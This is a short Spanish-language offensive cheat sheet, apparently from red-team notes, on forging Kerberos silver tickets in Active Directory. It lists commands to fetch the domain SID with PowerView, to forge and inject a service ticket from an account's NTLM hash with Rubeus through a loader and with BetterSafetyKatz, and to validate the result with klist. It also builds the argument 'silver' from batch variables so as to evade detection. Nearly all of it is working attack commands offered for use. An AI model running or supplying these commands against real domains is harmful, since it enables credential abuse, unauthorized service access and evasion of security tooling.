Silver ticket |

Tip

Lista de servicios disponibles y sus SPN en HackTricks — Silver ticket.

Advertencia

No se usa el hash de la cuenta krbtgt; se necesita el hash de una cuenta con Servicio (el ticket da acceso a ese servicio).
Con Rubeus no hace falta una shell de administrador local; con BetterSafetyKatz sí.

Rubeus

Codificar e insertar silver:

set "z=r"
set "y=e"
set "x=v"
set "w=l"
set "v=i"
set "u=s"
set "Pwn=%u%%v%%w%%x%%y%%z%"

Obtener el SID del dominio usando PowerView:

Get-DomainSID

Crear e inyectar un silver ticket para el servicio detectado y el usuario deseado:

Loader.exe -path Rubeus.exe -args %Pwn% /service:<SERVICE_NAME>/<SERVER_NAME>.<DOMAIN> /rc4:<HASH_NTLM> /sid:<SID_DOMAIN> /ldap /user:<USERNAME> /domain:<DOMAIN> /ptt

Validar el ticket de servicio:

Loader.exe -path Rubeus.exe -args %Pwn%

BetterSafetyKatz

Obtener el SID del dominio usando PowerView:

Get-DomainSID

Crear e inyectar un silver ticket para el servicio detectado y el usuario deseado:

BetterSafetyKatz.exe "kerberos::golden /User:<USERNAME> /domain:<DOMAIN> /sid:<SID_DOMAIN> /target:<SERVER_NAME> /service:<SERVICE_NAME> /rc4:<HASH_NTLM> /startoffset:0 /endin:600 /renewmax:10080 /ptt" "exit"

Validar el ticket de servicio:

klist